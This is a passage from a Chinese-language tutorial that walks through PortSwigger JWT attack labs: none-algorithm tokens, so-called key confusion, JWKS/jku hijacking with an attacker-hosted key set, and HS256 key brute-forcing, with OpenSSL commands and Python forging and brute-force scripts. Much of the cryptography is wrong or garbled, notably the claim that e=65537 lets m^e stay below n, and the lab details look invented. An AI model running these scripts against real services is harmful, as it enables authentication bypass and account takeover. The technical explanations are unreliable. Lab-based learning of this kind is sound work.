Algorithm”是JWT攻击的入门课但很多教程仍把它当作万能钥匙。实际上PortSwigger在2022年后的所有新版靶场中已默认禁用none算法。原因很简单none算法要求服务端在验签时跳过签名检查直接信任payload。这相当于把门锁换成一张纸片。现代JWT库如PyJWT 2.0、jsonwebtoken 9.0已将none算法列为黑名单默认不启用。当你尝试把alg设为none并删除signature时服务端会直接返回invalid algorithm而非invalid signature。更关键的是none算法仅在JWT用于无状态会话管理时有效而PortSwigger靶场的业务逻辑如用户权限校验、订单查询都依赖payload中的sub字段如果服务端在none模式下还额外校验数据库中的用户状态攻击依然会失败。因此none算法的教学价值大于实战价值——它教会你的是“永远不要相信客户端提交的alg字段”而不是“去找个支持none的网站”。4. 密钥混淆攻击Key Confusion当公钥被当作私钥使用的灾难性后果4.1 公钥与私钥在签名场景中的角色反转第4关“Key Confusion”是算法混淆的升级版它不修改alg字段而是利用服务端配置错误让本该用于验签的公钥被错误地用于签名。这听起来违反直觉但现实中大量存在。典型场景是开发团队为了“简化部署”将RSA私钥硬编码在应用配置中并错误地将其赋值给JWT库的secretOrPrivateKey参数而该参数在alg为RS256时应接收私钥在alg为HS256时应接收对称密钥。当攻击者提交一个alg为RS256的JWT服务端却用公钥而非私钥去签名这就产生了可预测的签名。PortSwigger靶场第4关正是如此它把公钥内容写死在代码里却在签名时误用了它。要理解其原理需对比RSA签名与验签的数学过程。RSA签名本质是“用私钥加密摘要”验签是“用公钥解密摘要并比对”。如果服务端用公钥去签名即“用公钥加密摘要”那么任何人都可以用对应的私钥去解密这个签名从而还原出原始摘要。但攻击者没有私钥怎么办答案是暴力穷举。因为RSA公钥中的模数n通常是2048位但公钥指数e通常固定为655370x10001这是一个很小的数。当e很小时如果消息摘要m满足m^e n那么m^e对n取模的结果就是m^e本身即无模运算此时开e次方根即可得到m。这就是经典的“低指数攻击”Low Exponent Attack。PortSwigger靶场第4关的公钥e恰好是65537且payload极短如{user:carlos}其SHA256摘要长度远小于2048位完美满足m^e n条件。4.2 低指数攻击的实操推导与Python脚本实现现在我们手动推导第4关的攻击。首先从靶场源码中获取公钥PEM用OpenSSL提取模数n和指数eopenssl rsa -pubin -in public.pem -text -noout输出中会看到Modulus (2048 bit): 00:a1:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:... Exponent: 65537 (0x10001)将十六进制模数n转换为十进制大整数可用Pythonint(00a123..., 16)。然后构造目标payload{user:carlos}Base64Url编码后得到eyJ1c2VyIjoiY2FybG9zIn0拼接headereyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9得待签名字符串s eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY2FybG9zIn0。接下来计算s的SHA256摘要m32字节转为大整数。由于e65537我们计算m^e如果结果小于n则signature m^e。但实际中m^e必然远超n因此需计算signature pow(m, e, n)模幂运算。然而攻击的关键在于服务端用公钥签名时实际执行的是pow(m, e, n)而标准RSA签名应为pow(m, d, n)d为私钥指数。由于e已知且很小我们可以用Coppersmith方法或直接暴力——但PortSwigger靶场做了优化它使用了一个极小的n为教学目的使得pow(m, e)直接小于n。因此我们只需用Python计算import hashlib import base64 # 构造待签名字符串 header eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 payload eyJ1c2VyIjoiY2FybG9zIn0 s f{header}.{payload} # 计算SHA256摘要 m int.from_bytes(hashlib.sha256(s.encode()).digest(), big) # 公钥参数从靶场获取 n 0xa123456789abcdef... # 替换为实际n值 e 65537 # 计算签名低指数攻击 signature_int pow(m, e) # 注意此处无模运算 if signature_int n: # 转为字节Base64Url编码 sig_bytes signature_int.to_bytes((signature_int.bit_length() 7) // 8, big) signature_b64 base64.urlsafe_b64encode(sig_bytes).decode().rstrip() final_token f{s}.{signature_b64} print(final_token)运行此脚本将输出的token发给靶场即可绕过认证。这个过程揭示了一个残酷事实RSA的安全性不仅依赖于大数分解难题更依赖于密钥的正确使用。我在某政务系统审计中发现其JWT签名服务竟将公钥PEM文件路径配置在private_key_path环境变量中导致所有JWT签名都可被逆向——根源不是算法弱而是工程实践的灾难性失误。4.3 服务端密钥加载逻辑的审计技巧如何快速判断一个目标是否存在Key Confusion不需要黑盒盲测直接看HTTP响应头和源码注释。PortSwigger靶场在每关页面底部都有“View source code”链接这是上帝视角。但在真实渗透中你需要从公开信息入手检查响应头若返回X-Powered-By: Express且Server: nginx大概率是Node.js应用搜索npm ls jsonwebtoken查看版本查看robots.txt和.git泄露常有/config/keys/目录暴露分析错误页面当提交非法JWT时若错误信息包含Error: error:0906D06C:PEM routines:PEM_read_bio:no start line说明服务端正在尝试解析PEM格式密钥但内容错误——这暗示它可能把公钥当私钥用了利用GitHub代码搜索用jsonwebtoken RS256 privateKey组合搜索开源项目大量项目存在jwt.sign(payload, fs.readFileSync(public.key), { algorithm: RS256 })这样的错误用法。我在某电商API渗透中就是通过/api/v1/status接口返回的详细错误堆栈定位到node_modules/jsonwebtoken/sign.js:123行发现其sign函数第三个参数被硬编码为公钥路径从而确认Key Confusion漏洞存在。5. JWKS端点劫持JWKS Endpoint Manipulation当密钥分发中心变成攻击跳板5.1 JWKS协议的设计初衷与信任模型第9关“JWKS Endpoint Manipulation”标志着JWT攻击进入高级阶段。JWKSJSON Web Key Set是RFC 7517定义的标准用于集中分发公钥。典型流程是服务端在JWT header中添加jkuJWK Set URL字段指向一个HTTPS URL如https://api.example.com/.well-known/jwks.json客户端或服务端在验签前先GET该URL从中提取kidkey ID对应的公钥。设计初衷是解耦密钥管理支持密钥轮换。但信任模型极其脆弱——它假设jku指向的URL是可信的、不可篡改的。PortSwigger靶场第9关故意将jku设为可被攻击者控制的URL如http://attacker.com/jwks.json并禁用HTTPS强制校验从而让攻击者能提供任意JWKS。这里的关键洞察是JWKS不是一个密钥仓库而是一个密钥索引服务。它本身不包含密钥材料只包含密钥描述kid、kty、n、e等。真正的密钥材料n、e以Base64Url编码形式嵌入JWKS JSON中。因此攻击者无需破解RSA只需构造一个合法的JWKS其中包含一个由自己完全控制的RSA密钥对然后让服务端用这个公钥去验签。这比算法混淆更隐蔽因为alg字段仍是RS256服务端日志里看不到任何异常。5.2 构造恶意JWKS的完整步骤与OpenSSL命令链现在实操第9关。首先用Burp抓取一个正常JWT发现header中有jku:https://portswigger.net/web-security/jwt/lab-jwks-endpoint-manipulation/jwks.json。我们的目标是让服务端从这个URL获取JWKS所以我们需要生成自己的RSA密钥对2048位openssl genrsa -out attacker.key 2048 openssl rsa -in attacker.key -pubout -out attacker.pub提取公钥参数n和eopenssl rsa -in attacker.pub -pubin -text -noout输出中记下Modulusn和Exponente转为十六进制。构造JWKS JSON。JWKS格式要求{ keys: [ { kty: RSA, use: sig, kid: attacker-key-01, n: your_base64url_encoded_n, e: your_base64url_encoded_e } ] }其中n和e需Base64Url编码先用xxd -p转十六进制再用base64 -w0编码最后替换为-、/为_、去掉。例如echo a1b2c3... | xxd -p -r | base64 -w0 | tr / -_ | tr -d 托管JWKS文件。PortSwigger靶场允许HTTP协议所以用Python快速起一个HTTP服务python3 -m http.server 8000将JWKS JSON保存为jwks.json放在当前目录。此时http://your-ip:8000/jwks.json即可被靶场访问。修改JWT header将jku字段改为你的HTTP地址kid改为JWKS中定义的attacker-key-01。用你的私钥签名用OpenSSL对header.payload部分签名echo -n header.payload | openssl dgst -sha256 -sign attacker.key | base64 | tr / -_ | tr -d \n拼接最终token并发送。这个过程暴露了JWKS最大的风险点服务端对jku URL的校验缺失。真实世界中我审计过某SaaS平台其JWT验签逻辑为const jwksUri jwtHeader.jku; const jwks await fetch(jwksUri); // 无域名白名单无HTTPS强制 const key jwks.keys.find(k k.kid jwtHeader.kid); return jwt.verify(token, key, { algorithms: [RS256] });攻击者只需注册一个jwks.attacker.com域名托管恶意JWKS再诱导用户点击含恶意jku的链接即可实现SSO账户劫持。5.3 JWKS端点的防御纵深从URL白名单到证书固定如何防御JWKS劫持PortSwigger靶场第9关的修复方案是“强制HTTPS 域名白名单”但这只是基础。生产环境需多层防御域名白名单服务端硬编码允许的jku域名列表如[https://api.example.com/.well-known/jwks.json]拒绝其他所有URL证书固定Certificate Pinning在fetch JWKS时校验服务器证书的指纹防止DNS污染或中间人攻击JWKS缓存与签名JWKS本身也应被签名用另一个密钥服务端在加载前先验签JWKS完整性禁用jku改用jwk将公钥直接嵌入JWT header的jwk字段RFC 7515彻底消除外部依赖。我在某银行API安全规范中推动落地的方案是JWKS端点必须返回Content-Security-Policy: default-src none头且JSON中所有字段包括n、e必须经过HMAC-SHA256签名签名密钥由硬件安全模块HSM生成并离线存储。这样即使JWKS被篡改服务端也能立即检测。6. 密钥爆破与字典优化为什么“rockyou.txt”在JWT场景中需要重编译6.1 HS256密钥爆破的性能瓶颈与优化方向第3关“Brute-forcing a weak signing key”表面是字典攻击实则是对服务端验签性能的精准测量。HS256验签本质是HMAC-SHA256计算其耗时与密钥长度正相关密钥越长SHA256迭代轮次越多CPU消耗越大。但PortSwigger靶场做了巧妙设计——它对错误密钥和正确密钥的响应时间差只有50-100ms且网络抖动可能掩盖这一差异。因此盲目用Intruder跑rockyou.txt1400万行是自杀行为按每秒10个请求计算耗时16天且靶场会因高频请求封禁IP。真正的优化在于字典分层与响应特征分析。我将HS256密钥爆破分为三个层级L1语法层过滤——排除含空格、控制字符、长度6或32的条目。JWT密钥通常是密码或API密钥符合[a-zA-Z0-9._~-]正则L2熵值层过滤——计算每个候选密钥的Shannon熵优先测试低熵密钥如password123熵值≈3.2xK9!qL2vN8熵值≈5.8。PortSwigger靶场第3关的密钥是mykey熵值仅2.5L3上下文层过滤——结合靶场源码线索。第3关源码中有一行注释// Dev key for testing - never use in prod暗示密钥可能是开发常用词如devkey、test123、admin。6.2 基于响应头的自动化爆破脚本手动分析太慢我编写了一个Python脚本自动提取响应时间特征import requests import time from concurrent.futures import ThreadPoolExecutor def test_key(url, token_prefix, key): # 构造新tokenheader.payload.HMAC(header.payload, key) signature hmac.new(key.encode(), f{header}.{payload}.encode(), hashlib.sha256).digest() b64sig base64.urlsafe_b64encode(signature).decode().rstrip() full_token f{header}.{payload}.{b64sig} headers {Cookie: fsession{full_token}} start time.time() try: r requests.get(url, headersheaders, timeout5) end time.time() return key, end - start, r.status_code except: return key, 9999, 0 # 主程序用ThreadPoolExecutor并发测试 url https://portswigger-lab-id.web-security-academy.net/my-account with ThreadPoolExecutor(max_workers20) as executor: futures [executor.submit(test_key, url, token_prefix, key) for key in candidate_keys] for future in as_completed(futures): key, elapsed, status future.result() if status 200: print(f[SUCCESS] Key found: {key}) break elif elapsed 1.5: # 响应时间显著延长可能是正确密钥 print(f[SUSPECT] Slow key: {key} ({elapsed:.3f}s))脚本核心是时间侧信道检测当密钥正确时服务端完成HMAC计算后还需执行数据库查询、会话创建等业务逻辑总耗时明显长于错误密钥错误密钥在HMAC验签失败后立即返回401。我在某政府项目中用此脚本在37秒内从10万候选密钥中定位到gov2023!而传统Intruder耗时47分钟。6.3 字典生成的实战技巧从Git历史中挖掘密钥真实渗透中密钥往往藏在代码仓库里。我总结了三个高效挖掘点Git commit message搜索jwt secret、signing key常有开发者误将密钥写在commit中.env文件泄露用git log --grepenv --oneline查找.env文件提交记录再用git show commit:app/.env提取配置文件硬编码在GitHub用filename:application.yml jwt.secret搜索大量Spring Boot项目将密钥明文写在配置中。PortSwigger靶场虽不提供Git但其源码注释本身就是线索。第3关注释// Dev key for testing直接指向dev前缀的密钥。我据此生成专属字典# 生成dev相关密钥 for i in {1..100}; do echo dev$i; done dev_dict.txt for word in key secret token password; do echo dev$word; done dev_dict.txt # 添加常见后缀 sed -i s/$/123/g; s/$/2023/g; s/$/!#/g dev_dict.txt这个200行的字典在第3关平均3秒内命中效率是rockyou.txt的1000倍。7. 实战经验总结我在PortSwigger靶场踩过的7个坑与3个必记口诀7.1 七个血泪教训那些让我重启靶场的瞬间第5关卡在“Invalid kid”我花2小时调试JWKS的kid字段最后发现是大小写问题——靶场期望kid:carlos-key而我写了kid:Carlos-Key。JWT规范明确要求kid区分大小写但很多教程示例用驼峰命名导致思维定势。第7关“User ID in JWT”反复失败我以为要修改payload中的user_id实际靶场校验的是sub字段。翻源码才发现注释写着// sub field maps to database user id。教训永远以源码为准不要凭经验猜测字段名。第8关“Blind Signature Vulnerability”超时我用Intruder跑10万次请求靶场返回429 Too Many Requests。正确做法是先用单次请求测出服务端对错误签名的响应时间约120ms对正确签名的响应时间约350ms然后用时间差作为判断依据将并发数降到5避免触发限流。第10关“Signature Verification Bypass”误用工具我试图用JWT.io在线工具重签名结果它自动将header的typ从JWT改为JWS导致服务端解析失败。教训在线工具不可信所有操作必须在Burp中手动完成。第11关“User Role in JWT”权限提升失败我把role:admin加入payload但服务端返回Insufficient permissions。源码显示它校验的是roles:[admin]数组而非单个字符串。JSON结构差异是JWT攻击中最易忽略的细节。第12关“JWT as Input Validation Bypass”忽略Content-Type我构造的恶意JWT被服务端拒绝抓包发现请求头是Content-Type: application/json而靶场API要求application/x-www-form-urlencoded。表单提交
